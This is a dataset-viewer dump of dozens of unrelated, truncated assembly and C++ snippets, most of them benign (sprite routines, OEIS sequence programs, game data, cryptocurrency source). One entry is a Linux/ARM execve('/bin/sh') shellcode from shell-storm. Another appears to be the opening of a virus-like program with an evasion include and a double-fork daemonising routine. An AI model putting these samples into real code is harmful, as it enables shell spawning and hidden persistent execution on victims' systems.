text stringlengths 1 1.05M |
|---|
; sp1_DrawUpdateStructAlways(struct sp1_update *u)
; 12.2006 aralbrec, Sprite Pack v3.0
; sinclair spectrum version
; FASTCALL
PUBLIC sp1_DrawUpdateStructAlways
EXTERN SP1DrawUpdateStruct
; Draws the update struct no matter what, including
; structs removed from the engine. Validates char
; if it hasn't been remov... |
; void sp1_PrintString(struct sp1_pss *ps, uchar *s)
SECTION code_clib
SECTION code_temp_sp1
PUBLIC _sp1_PrintString_callee, l0_sp1_PrintString_callee
EXTERN asm_sp1_PrintString
_sp1_PrintString_callee:
pop af
pop hl
pop de
push af
l0_sp1_PrintString_callee:
push ix
call asm_sp1_PrintString... |
; A127775: Triangle read by rows: row n consists of n-1 zeros followed by 2n-1.
; 1,0,3,0,0,5,0,0,0,7,0,0,0,0,9,0,0,0,0,0,11,0,0,0,0,0,0,13,0,0,0,0,0,0,0,15,0,0,0,0,0,0,0,0,17,0,0,0,0,0,0,0,0,0,19,0,0,0,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,23,0,0,0,0,0,0,0,0,0,0,0,0,25,0,0,0,0,0,0,0,0,0,0
mov $3,2
mov $6,$0
lpb $3
... |
/*
* Direct3D 11 index buffer file
*
* This file is part of the "ForkENGINE" (Copyright (c) 2014 by Lukas Hermanns)
* See "LICENSE.txt" for license information.
*/
#include "D3D11IndexBuffer.h"
#include "../D3D11ParamMapper.h"
namespace Fork
{
namespace Video
{
HRESULT D3D11IndexBuffer::WriteIndices(
ID... |
// Copyright 2017 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in ... |
; A205456: Symmetric matrix by antidiagonals: C(max(i,j),min(i,j)), i>=1, j>=1.
; Submitted by Jon Maiga
; 1,2,2,3,1,3,4,3,3,4,5,6,1,6,5,6,10,4,4,10,6,7,15,10,1,10,15,7,8,21,20,5,5,20,21,8,9,28,35,15,1,15,35,28,9,10,36,56,35,6,6,35,56,36,10,11,45,84,70,21,1,21,70,84,45,11,12,55,120,126,56,7,7,56,126,120
lpb $0
add $... |
; Compile with: NASM -fbin cpuid_1.asm
BITS 64 ; Avoids nasm putting the OPCODE prefix (66h)
RDRAND EDX |
global main
extern GetStdHandle
extern WriteFile
section .text
main:
mov rcx, 0fffffff5h
call GetStdHandle
mov rcx, rax
mov rdx, NtlpBuffer
mov r8, [NtnNBytesToWrite]
mov r9, NtlpNBytesWritten
sub rsp, 40
mov dword [rsp + 32], 00h
call WriteFile
... |
; A271662: Convolution of nonzero pentagonal numbers (A000326) with themselves.
; 1,10,49,164,434,980,1974,3648,6303,10318,16159,24388,35672,50792,70652,96288,128877,169746,220381,282436,357742,448316,556370,684320,834795,1010646,1214955,1451044,1722484,2033104,2387000,2788544,3242393,3753498,4327113,4968804,5684458,64... |
_usertests: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
return randstate;
}
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55... |
// Copyright (c) 2010 Satoshi Nakamoto
// Copyright (c) 2009-2015 The Bitcoin Core developers
// Copyright (c) 2014-2017 The Bash Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "amount.h"
#include "base... |
_RockTunnel2AfterBattleText8::
text "I'll raise my"
line "#MON to beat"
cont "yours, kid!"
done
_RockTunnel2BattleText9::
text "I draw #MON"
line "when I'm home."
done
_RockTunnel2EndBattleText9::
text "Whew!"
line "I'm exhausted!"
prompt
_RockTunnel2AfterBattleText9::
text "I'm an artist,"
line "not a f... |
; A269241: Number of times the digit 1 appears in the decimal expansion of n^3.
; 0,1,0,0,0,1,1,0,1,0,1,2,1,1,0,0,0,1,0,0,0,1,1,2,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,2,0,1,2,2,1,2,1,1,1,1,2,2,3,0,1,1,0,0,1,0,0,0,1,0,0,2,0,1,0,1,0,0,0,0,1,2,1,1,0,2,0,0,1,0,0,1,0,0,0,0
pow $0,3
cal $0,268643 ; Number of 1's in dec... |
; void *tshr_py2saddr(uchar y)
SECTION code_clib
SECTION code_arch
PUBLIC _tshr_py2saddr
EXTERN _zx_py2saddr
defc _tshr_py2saddr = _zx_py2saddr
|
/* Copyright 2001, 2019 IBM Corporation
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
* following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the
* following d... |
; A093593: n! times sum of Farey fractions of order n.
; Submitted by Christian Krause
; 1,3,15,84,660,4680,47880,463680,5261760,59875200,858211200,11256537600,183697113600,2833294464000,47730114432000,847372990464000,17250840262656000,329722245844992000,7359528574734336000
add $0,1
mov $2,$0
seq $0,49643 ; Number of ... |
SFX_Snare7_1_Ch7:
unknownnoise0x20 0, 130, 35
endchannel
|
.size 8000
.text@48
inc a
ldff(45), a
jp lstatint
.text@100
jp lbegin
.data@143
80
.text@150
lbegin:
ld a, ff
ldff(45), a
ld b, 03
call lwaitly_b
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
ei
ld a, b
inc a
inc a
ldff(45), a
ld c, 0f
.text@1000
lstatint:
nop
.text@1063
ldff a, (c)
and a, b
jp... |
db 0 ; species ID placeholder
db 90, 60, 70, 45, 75, 70
; hp atk def spd sat sdf
db ICE, WATER ; type
db 120 ; catch rate
db 128 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/sealeo/fron... |
;------------------------------------------------------------------------------
;*
;* Copyright (c) 2016 - 2017, Intel Corporation. All rights reserved.<BR>
;* This program and the accompanying materials
;* are licensed and made available under the terms and conditions of the BSD License
;* which accompanies th... |
; A230059: Conjectural number of irreducible zeta values of weight 2*n+1 and depth three.
; 0,0,0,0,1,2,2,4,5,6,8,10,11,14,16,18,21,24,26,30,33,36,40,44,47,52,56,60,65
pow $0,2
sub $0,1
div $0,12
mov $1,$0
|
bits 64
global assembly
assembly:
mov rbx, 5
mov rcx, 10
lea eax, [rcx + rbx*2 + 5]
ret
|
; A064088: Generalized Catalan numbers C(5; n).
; Submitted by Jon Maiga
; 1,1,6,61,766,10746,161376,2537781,41260086,687927166,11698135396,202104763026,3537486504556,62595852983236,1117926476207316,20124876291104421,364797768048805926,6652740911381353206,121975721251036497636,2247064873245590484966,4157307164751807015... |
///////////////////////////////////////////////////////////////
// Copyright 2021 John Maddock.
// Copyright 2022 Christopher Kormanyos.
// Distributed under the Boost
// Software License, Version 1.0. (See accompanying file
// LICENSE_1_0.txt or copy at https://www.boost.org/LICENSE_1_0.txt
//
// Compare arithme... |
; A183874: a(n) = n + floor(sqrt(3*n/2)). Complement of A183857.
; 2,3,5,6,7,9,10,11,12,13,15,16,17,18,19,20,22,23,24,25,26,27,28,30,31,32,33,34,35,36,37,38,40,41,42,43,44,45,46,47,48,49,51,52,53,54,55,56,57,58,59,60,61,63,64,65,66,67,68,69,70,71,72,73,74,75,77,78,79,80,81,82,83,84,85,86,87,88,89,90,92,93,94,95,96,97,9... |
; A081123: a(n) = floor(n/2)!.
; 1,1,1,1,2,2,6,6,24,24,120,120,720,720,5040,5040,40320,40320,362880,362880,3628800,3628800,39916800,39916800,479001600,479001600,6227020800,6227020800,87178291200,87178291200,1307674368000,1307674368000,20922789888000,20922789888000,355687428096000,355687428096000,6402373705728000,640237... |
; nasm -f bin -o tinysh tinysh.asm
BITS 64
org 0x400000
ehdr: ; Elf64_Ehdr
db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 2 ; e_type
dw 0x3e ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
... |
// Copyright (c) 2021 Hartmut Kaiser
//
// SPDX-License-Identifier: BSL-1.0
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
/// \file argument_types.hpp
#pragma once
#include <hpx/config.hpp>
#include <cstdd... |
Md5DotNet.Md5_5_InlineRotate.GetDigest(Byte*, Int32, Md5DotNet.Md5Digest*)
Begin 00007ffe8d3578f0, size fbc
c:\code\blog\md5\Md5DotNet\Md5DotNet\Md5_5_InlineRotate.cs @ 21:
>>> 00007ffe`8d3578f0 4157 push r15
00007ffe`8d3578f2 4156 push r14
00007ffe`8d3578f4 4155 push r13
0000... |
; ----------------------------------------------------------------
; Z88DK INTERFACE LIBRARY FOR THE BIFROST* ENGINE - RELEASE 1.2/L
;
; See "bifrost_l.h" for further details
; ----------------------------------------------------------------
; unsigned char BIFROSTL_getTile(unsigned int px, unsigned int py)
; callee
... |
#include "End.h"
End::End(ApplicationManager * AM, string txt, Point l_cor, int width, int height, int t_width, int t_height)
: Statement(AM, txt, l_cor, width, height, t_width, t_height){
pConn = NULL;
calc_l_corner();
}
void End::Draw(Output* pOut) const {
pOut->Draw_st_end(l_corner, width, heig... |
// Copyright (c) 2019-2020 Monkey D. Core
// Copyright (c) 2019-2020 The Eozi Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <chain.h>
/**
* CChain implementation
*/
void CChain::SetTip(CBlockIndex *... |
; A040343: Continued fraction for sqrt(363).
; Submitted by Christian Krause
; 19,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38,19,38
trn $0,1
mod $0,2
mul $0,19
add $0,19
|
; A080150: Let m = Wonderful Demlo number A002477(n); a(n) = square of the sum of digits of m.
; 1,16,81,256,625,1296,2401,4096,6561,6724,7225,8100,9409,11236,13689,16900,21025,26244,26569,27556,29241,31684,34969,39204,44521,51076,59049,59536,61009,63504,67081,71824,77841,85264,94249,104976,105625
seq $0,80151 ; Let m... |
#include "ctSerialize.h"
void ctSerialize(ctObjectDescriptor *pSerialized, const bool &src) { pSerialized->Set(src); }
void ctSerialize(ctObjectDescriptor *pSerialized, const double &src) { pSerialized->Set(src); }
void ctSerialize(ctObjectDescriptor *pSerialized, const float &src) { pSerialized->Set((double)src); }
v... |
// Copyright (c) 2011-2020 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include <config/bitcoin-config.h>
#endif
#include <qt/rpcconsole.h>
#include <qt/forms/ui_debugw... |
%include "io.inc"
section .data
dword_array dd -1, -2, -3, 4, 5, 6, 8, -9, -11
section .text
global CMAIN
CMAIN:
xor ecx, ecx
xor eax, eax
xor edx, edx
xor ebx, ebx
check:
cmp ecx, 9
jz print
cmp dword [dword_array + 4*(ecx - 1)], 0
js countNeg... |
SECTION code_clib
SECTION code_l
PUBLIC l_incu_de
l_incu_de:
; uses : de
; z set on overflow
inc e
ret nz
inc d
ret nz
dec de
ret
|
; A032830: Numbers whose set of base-6 digits is {3,4}.
; Submitted by Jamie Morken(s4)
; 3,4,21,22,27,28,129,130,135,136,165,166,171,172,777,778,783,784,813,814,819,820,993,994,999,1000,1029,1030,1035,1036,4665,4666,4671,4672,4701,4702,4707,4708,4881,4882,4887,4888,4917,4918,4923,4924,5961,5962,5967,5968,5997,5998,600... |
; void spinlock_release(char *spinlock)
SECTION code_clib
SECTION code_threads_mutex
PUBLIC spinlock_release
EXTERN asm_spinlock_release
defc spinlock_release = asm_spinlock_release
|
* = 0 ; We just use * to count position in the CHR-rom, begin with zero is easy
; TILE $00 - Heart, frame 1
;
; 00100100
; 01211210
; 12222221
; 01222210
; 01222210
; 00122100
; 00122100
; 00011000
.byt %00100100, %01011010, %10000001, %01000010, %01000010, %00100100, %00100100, %00011000
.byt %00000000, %00100100, %0... |
; A175661: Eight bishops and one elephant on a 3 X 3 chessboard: a(n) = 2^(n+2)-3*F(n+1), with F(n) = A000045(n).
; Submitted by Jon Maiga
; 1,5,10,23,49,104,217,449,922,1883,3829,7760,15685,31637,63706,128111,257353,516536,1036033,2076857,4161466,8335475,16691245,33415328,66883789,133853549,267846202,535917479,1072199... |
; 86-DOS High-performance operating system for the 8086 version 1.25
; by Tim Paterson
; ****************** Revision History *************************
; >> EVERY change must noted below!! <<
;
; 0.34 12/29/80 General release, updating all past customers
; 0.42 02/25/81 32-byte directory entri... |
nop
ld b, d
nop
ld b, d
ldi a, [hl]
ld b, d
ld e, b
ld b, d
ld [hl], h
ld b, d
sub a, a
ld b, d
sub a, $42
inc l
ld b, e
ld h, [hl]
ld b, e
sbc a, [hl]
ld b, e
<error>
ld b, e
dec h
ld b, h
and e
ld b, h
<error>
ld b, h
inc c
ld b, l
ccf
ld b, l
ld a, b
l... |
# Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27 bytes
# http://shell-storm.org/shellcode/files/shellcode-698.php
.section .text
.global _start
_start:
add r3, pc, #1
bx r3
mov r0, pc
adds r0, #8
subs r1, r1, r1
subs r2, r2, r2
movs r7, #11
svc 1
str ... |
; A070460: a(n) = n^2 mod 38.
; 0,1,4,9,16,25,36,11,26,5,24,7,30,17,6,35,28,23,20,19,20,23,28,35,6,17,30,7,24,5,26,11,36,25,16,9,4,1,0,1,4,9,16,25,36,11,26,5,24,7,30,17,6,35,28,23,20,19,20,23,28,35,6,17,30,7,24,5,26,11,36,25,16,9,4,1,0,1,4,9,16,25,36,11,26,5,24,7,30,17,6,35,28,23,20,19,20,23,28,35,6,17,30,7,24,5,26,11,... |
; ******************************************************************************
; ******************************************************************************
;
; Name : fornext.asm
; Purpose : For/Next loop
; Author : Paul Robson (paul@robsons.org.uk)
; Created : 4th October 2019
;
; **********************... |
; A032796: Numbers that are congruent to {1, 2, 3, 5, 6} mod 7.
; 1,2,3,5,6,8,9,10,12,13,15,16,17,19,20,22,23,24,26,27,29,30,31,33,34,36,37,38,40,41,43,44,45,47,48,50,51,52,54,55,57,58,59,61,62,64,65,66,68,69,71,72,73,75,76,78,79,80,82,83,85,86,87,89,90,92,93,94,96,97,99
mul $0,7
div $0,5
add $0,1
|
section .text
global _start
_start:
__evasion:
%include "evasion.asm"
;fork()
mov eax,2
int 0x80
cmp eax,0
jne __runhost
;fork()
mov eax,2
int 0x80
cmp eax,0
jne __die
__runE3:
__checkppid:
;getppid()
mov eax,64
int 0x80
cmp eax,1
jne __checkppid
;umask(0)
mov eax,60
mov ebx,0
int 0x80
;s... |
%define StackSegment 0x9000 ; Because this is a segment it is really address 0x90000
%define StackOffset 0xF000
%define KernelFileLocation 0x200000
%define KernelLocation 0x100000
%define MemoryMapEntryCount 0x600
%define Mem... |
////////////////////////////////////////////////////////////////////////////////////////////////////
//
// Project: Embedded Learning Library (ELL)
// File: IRFunctionEmitter.cpp (emitters)
// Authors: Umesh Madan
//
//////////////////////////////////////////////////////////////////////////////////////////////... |
; A245555: Trajectory of 1 under the morphism 1 -> 12, 2 -> 23, 3 -> 31.
; 1,2,2,3,2,3,3,1,2,3,3,1,3,1,1,2,2,3,3,1,3,1,1,2,3,1,1,2,1,2,2,3,2,3,3,1,3,1,1,2,3,1,1,2,1,2,2,3,3,1,1,2,1,2,2,3,1,2,2,3,2,3,3,1,2,3,3,1,3,1,1,2,3,1,1,2,1,2,2,3,3,1,1,2,1,2,2,3,1,2,2,3,2,3,3,1,3,1,1,2,1,2,2,3,1,2,2,3,2,3,3,1,1,2,2,3,2,3,3,1,2,3,3... |
copyright zengfr site:http://github.com/zengfr/romhack
027A0C rts [enemy+AF]
copyright zengfr site:http://github.com/zengfr/romhack
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r15
push %r9
push %rcx
push %rdx
lea addresses_D_ht+0x2f9, %r13
nop
nop
nop
add %r12, %r12
mov (%r13), %r15
cmp %r10, %r10
lea addresses_WC_ht+0x1953a, %rcx
nop
nop
nop
nop
nop
add $58906, %rdx
movb (%rcx), %r15b
nop
add %rdx, %rdx
lea add... |
-- 7 Billion Humans (2053) --
-- 12: Unzip --
-- Author: soerface
-- Size: 8
-- Speed: 7
comment 2
pickup c
a:
if nw == worker:
step s
drop
endif
if sw == worker or
w == wall:
step n
drop
endif
jump a
|
;
; z88dk GFX library
;
; Draw a dithered horizontal line basing
; its pattern on an 'intensity' parameter.
; Basic concept by Rafael de Oliveira Jannone
;
;
; hline_dither(int x1, int y1, int x2, unsigned char intensity)
;
XLIB surface_hline_dither
XREF base_graphics
LIB surface_pixeladdress
LIB leftbitmask, r... |
;===============================================================================
; Copyright 2016-2021 Intel Corporation
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apa... |
[org 0x7c00]
KERNEL_OFFSET equ 0x1000
mov [BOOT_DRIVE], dl
mov bp, 0x9000 ; Set stack
mov sp, bp
mov bx, MSG_REAL_MODE
call print_string
call load_kernel ; Load kernel
call switch_to_pm ; Switch to protected mode
jmp $
%include "boot/print_string.asm"
%include "boot/disk_load.asm"... |
;goron spinning pot hacks to drop override collectibles
;hack for when it drops bombs
;Loop variable stored in s7
;flag needs to be stored in a2
;Actor pointer is stored in s0 hopefully
bg_spot18_basket_bombs_hack:
lh a3, 0x18(s0) ;get our new flag out of the z rotation
ori a2, r0, 0x0000 ; clear a2
beqz a3, bg_spot... |
; A018246: A self-generating sequence: there are a(n) (k+1)'s between successive k's, where k=5.
; 5,6,6,6,6,6,5,6,6,6,6,6,6,5,6,6,6,6,6,6,5,6,6,6,6,6,6,5,6,6,6,6,6,6,5,6,6,6,6,6,6,5,6,6,6,6,6,5,6,6,6,6,6,6,5,6,6,6,6,6,6,5,6,6,6,6,6,6,5,6,6,6,6,6,6,5,6,6,6,6
mov $5,2
mov $8,$0
lpb $5,1
sub $5,1
add $0,$5
sub $0,... |
/* (c) Magnus Auvinen. See licence.txt in the root of the distribution for more information. */
/* If you are missing that file, acquire a complete release at teeworlds.com. */
#include <base/system.h>
#include <base/math.h>
#include <base/vmath.h>
#include <math.h>
#include <engine/map.h>
#include <eng... |
;
; file: asm_main.asm
%include "asm_io.inc"
;
; initialized data is put in the .data segment
;
segment .data
syswrite: equ 4
stdout: equ 1
exit: equ 1
SUCCESS: equ 0
kernelcall: equ 80h
array: dw 1,2,3,4,5,12
; uninitialized data is put in the .bss segment
;
segment .bss
;
;... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r15
push %r8
push %rax
push %rdx
lea addresses_WT_ht+0x1c7b8, %r10
nop
nop
nop
nop
cmp $58280, %r15
mov $0x6162636465666768, %r8
movq %r8, (%r10)
nop
nop
xor $38961, %r10
lea addresses_WT_ht+0x64f0, %rax
dec %rdx
movw $0x6162, (%rax)
nop
s... |
asm NeedhamSchroederLowe
//Modello preso dall'articolo "A Realistic Environment for Crypto-Protocol Analyses by ASMs"
//Versione corretta con le correzioni fornite da Lowe al protocollo.
//I passi del protocollo sono:
//1. A -> B : {Na, A}Kb
//2. B -> A : {Na, Nb, B}Ka
//3. A -> B : {Nb}Kb
import ../StandardLibrary
... |
;/*!
; @file
;
; @ingroup fapi
;
; @brief DosPFSActivate DOS wrapper
;
; (c) osFree Project 2022, <http://www.osFree.org>
; for licence see licence.txt in root directory, or project website
;
; This is Family API implementation for DOS, used with BIND tools
; to link required API
;
; @author Yuri Prokus... |
_stressfs: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
0: 55 push %ebp
int fd, i;
char path[] = "stressfs0";
1: b8 30 00 00 00 mov $0x30,%eax
{
6: 89 e5 mo... |
// You are given a binary tree in which each node contains an integer value.
//
// Find the number of paths that sum to a given value.
//
// The path does not need to start or end at the root or a leaf, but it must go downwards
// (traveling only from parent nodes to child nodes).
//
// The tree has no more than 1,000 ... |
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2017 The PIVX developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "masternodeman.h"
#include "activemasternode.h"
#include "addrman.h"
#inc... |
; A064842: Maximal value of Sum_{i=1..n} (p(i) - p(i+1))^2, where p(n+1) = p(1), as p ranges over all permutations of {1, 2, ..., n}.
; 0,2,6,18,36,66,106,162,232,322,430,562,716,898,1106,1346,1616,1922,2262,2642,3060,3522,4026,4578,5176,5826,6526,7282,8092,8962,9890,10882,11936,13058,14246,15506,16836,18242,19722,2128... |
// internal
#include "merkle/content.h"
#include "merkle/hash.h"
/*
* `calculateHash()` wraps the `Hash` by passing the path to the `file()`
* function and storing the resulting output. Storing the result allows the
* class to prevent the function from being called multiple times.
*/
std::string Content::calculate... |
; Startup fo SAM Coupe
;
; Stefano 26/3/2001
;
; If an error occurs eg break we just drop back to BASIC
;
; $Id: sam_crt0.asm,v 1.20 2016-06-21 20:49:06 dom Exp $
;
MODULE sam_crt0
;
; Initially include the zcc_opt.def file to find out lots of lovely
; information about what we shoul... |
;********************************************************************************************************
; uC/OS-II
; The Real-Time Kernel
;
; Copyright 1992-2020 Silicon Laboratories Inc. www.silabs.com
;
; ... |
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r8
push %r9
push %rdi
push %rdx
// Load
lea addresses_UC+0x12c56, %r15
nop
nop
nop
nop
nop
xor $22223, %r10
mov (%r15), %dx
nop
and $42138, %r10
// Faulty Load
lea addresses_PSE+0xd456, %r8
add %rdi, %... |
; A176900: sin((2*n+5)*Pi/6)*(n+1)*2^(n+1)
; 1,-4,-24,-32,80,384,448,-1024,-4608,-5120,11264,49152,53248,-114688,-491520,-524288,1114112,4718592,4980736,-10485760,-44040192,-46137344,96468992,402653184,419430400,-872415232,-3623878656,-3758096384
mov $1,$0
add $0,1
seq $1,128018 ; Expansion of (1-4*x)/(1-2*x+4*x^2).
m... |
; A074520: 1^n + 6^n + 7^n.
; 3,14,86,560,3698,24584,164306,1103480,7444418,50431304,342941426,2340123800,16018069538,109949704424,756587236946,5217746494520,36054040477058,249557173431944,1729973554578866,12008254925383640
mov $1,6
pow $1,$0
mov $2,7
pow $2,$0
add $1,$2
add $1,1
mov $0,$1
|
#include<bits/stdc++.h>
using namespace std;
int main()
{
int t;
cin >> t;
while(t--)
{
string s[9];
for(int i = 0;i < 9;i++)
{
cin >> s[i];
for(int j = 0;j < 9;j++)
{
if(s[i][j] == '2')
{
s[i][j] = '1';
}
}
cout << s[i] << endl;
}
}
return 0;
}
|
; A027968: a(n) = T(n, 2*n-6), T given by A027960.
; 1,4,11,29,73,171,370,743,1397,2482,4201,6821,10685,16225,23976,34591,48857,67712,92263,123805,163841,214103,276574,353511,447469,561326,698309,862021,1056469,1286093,1555796,1870975,2237553,2662012,3151427,3713501,4356601,5089795,5922890,6866471,7931941,9131562,10478... |
;;
;; Copyright (c) 2019-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and... |
_grep: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
}
}
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b:... |
; A142743: Primes congruent to 16 mod 59.
; Submitted by Jon Maiga
; 193,311,547,1019,1373,1609,2081,2671,2789,3733,3851,4441,5503,5857,6211,6329,8689,8807,9043,9161,9397,10223,10459,12347,12583,13291,13763,13999,15061,15887,16477,16831,17539,17657,18719,19073,19309,19427,21433,21787,22259,22613,23203,23321,23557,23911... |
; A011863: Nearest integer to (n/2)^4.
; 0,0,1,5,16,39,81,150,256,410,625,915,1296,1785,2401,3164,4096,5220,6561,8145,10000,12155,14641,17490,20736,24414,28561,33215,38416,44205,50625,57720,65536,74120,83521,93789,104976,117135,130321,144590,160000,176610,194481,213675,234256,256289,279841,304980,331776,360300,390625,4... |
; $Id: ldexpl.asm 69111 2017-10-17 14:26:02Z vboxsync $
;; @file
; IPRT - No-CRT ldexpl - AMD64 & X86.
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and... |
%include "TiberianSun.inc"
%include "macros/patch.inc"
%include "macros/datatypes.inc"
gint ScrollDelay, 0
sint LastScrollTick, 0
hack 0x005E8DEA, 0x005E8DF0 ; don't call the scroll function too often (edge - ScrollClass_Do_Scroll_5E8DD0)
mov ecx, dword[0x0074C254]
pushad
call ScrollAllowed
cmp al,... |
; A120136: a(1)=7; a(n)=floor((14+sum(a(1) to a(n-1)))/2).
; 7,10,15,23,34,51,77,115,173,259,389,583,875,1312,1968,2952,4428,6642,9963,14945,22417,33626,50439,75658,113487,170231,255346,383019,574529,861793,1292690,1939035,2908552,4362828,6544242,9816363,14724545,22086817,33130226,49695339,74543008,111814512,167721768,... |
; A014909: a(1)=1, a(n) = 23*a(n-1) + n.
; 1,25,578,13298,305859,7034763,161799556,3721389796,85591965317,1968615202301,45278149652934,1041397442017494,23952141166402375,550899246827254639,12670682677026856712,291425701571617704392,6702791136147207201033,154164196131385765623777,3545776511021872609346890,81552859753503... |
.include "M32def.inc"
.cseg
.org 0
start: ldi r16,0x5F ;nastaveni ukazatele
out SPL,r16 ;zasobniku na 0x085F
ldi r16,0x08 ;konec SRAM
out SPH,r16
ldi r16,0x00
out DDRB,r16
ldi r16,0xff
out DDRA,r16
out PORTB,r16
cyklus: in r16,PINB
out PORTA,r16
rjmp cyklus
|
#include "stromx/cvimgproc/test/ThresholdTest.h"
#include <stromx/runtime/OperatorException.h>
#include <stromx/runtime/ReadAccess.h>
#include "stromx/cvsupport/Image.h"
#include "stromx/cvimgproc/Threshold.h"
CPPUNIT_TEST_SUITE_REGISTRATION (stromx::cvimgproc::ThresholdTest);
namespace stromx
{
namespace cvimgp... |
_PhysicalSpecialSplit:: ;Determines if a move is Physical or Special
ld a, [wTempMoveID]
ld c,a
ld b, $00
ld hl,.MovesTable
add hl,bc
ld a,[hl]
ld [wTempMoveID], a
ret
.MovesTable
db OTHER_M ;NOTHING EQU $00
db PHYSICAL;POUND EQU $01
db PHYSICAL;KARATE_CHOP EQU $02
db PHYSICAL;DOUBLESLAP E... |
.include "defaults_mod.asm"
table_file_jp equ "exe6-utf8.tbl"
table_file_en equ "bn6-utf8.tbl"
game_code_len equ 3
game_code equ 0x4252354A // BR5J
game_code_2 equ 0x42523545 // BR5E
game_code_3 equ 0x42523550 // BR5P
card_type equ 1
card_id equ 69
card_no equ "069"
card_sub equ "Mod Card 069"
card_sub_x ... |
section .text
global _start ; wajib deklarasi untuk linker atau ld
_start: ; memberi info dari titik masuk linker
mov edx, len ; deklarasi panjang dari message atau pesan
mov ecx, msg ; deklarasi register pesan yang akan di tulis
mov ebx, 1 ; deklarasi stdo... |
; A100188: Polar structured meta-anti-diamond numbers, the n-th number from a polar structured n-gonal anti-diamond number sequence.
; 1,6,27,84,205,426,791,1352,2169,3310,4851,6876,9477,12754,16815,21776,27761,34902,43339,53220,64701,77946,93127,110424,130025,152126,176931,204652,235509,269730,307551,349216,394977,445... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x110e6, %r9
nop
nop
nop
nop
add %r11, %r11
movups (%r9), %xmm7
vpextrq $0, %xmm7, %rbx
nop
nop
nop
inc %r9
lea addresses_UC_ht+0x16106, %r12
nop
nop
nop
xor %rdx, %r... |
// Copyright (c) 2011-2015 The Bitcoin Core developers
// Copyright (c) 2014-2019 The Trivechain Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "bitcoinunits.h"
#include "chainparams.h"
#include "primit... |
; A047256: Numbers that are congruent to {0, 1, 2, 3, 5} mod 6.
; 0,1,2,3,5,6,7,8,9,11,12,13,14,15,17,18,19,20,21,23,24,25,26,27,29,30,31,32,33,35,36,37,38,39,41,42,43,44,45,47,48,49,50,51,53,54,55,56,57,59,60,61,62,63,65,66,67
mul $0,6
mov $1,1
add $1,$0
div $1,5
mov $0,$1
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld a, ff
ldff(45), a
ld b, 91
call lwaitly_b
ld hl, fe00
ld d, 10
ld a, d
ld(hl++), a
ld a, 08
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), ... |
/* Copyright (c) 2013-2019, AOYAMA Kazuharu
* All rights reserved.
*
* This software may be used and distributed according to the terms of
* the New BSD License, which is incorporated herein by reference.
*/
#include "tfcore_unix.h"
#include "tfileaiowriter.h"
#include "tqueue.h"
#include <QList>
#include <QMutex... |
; A256716: a(n) = n*(n+1)*(22*n-19)/6.
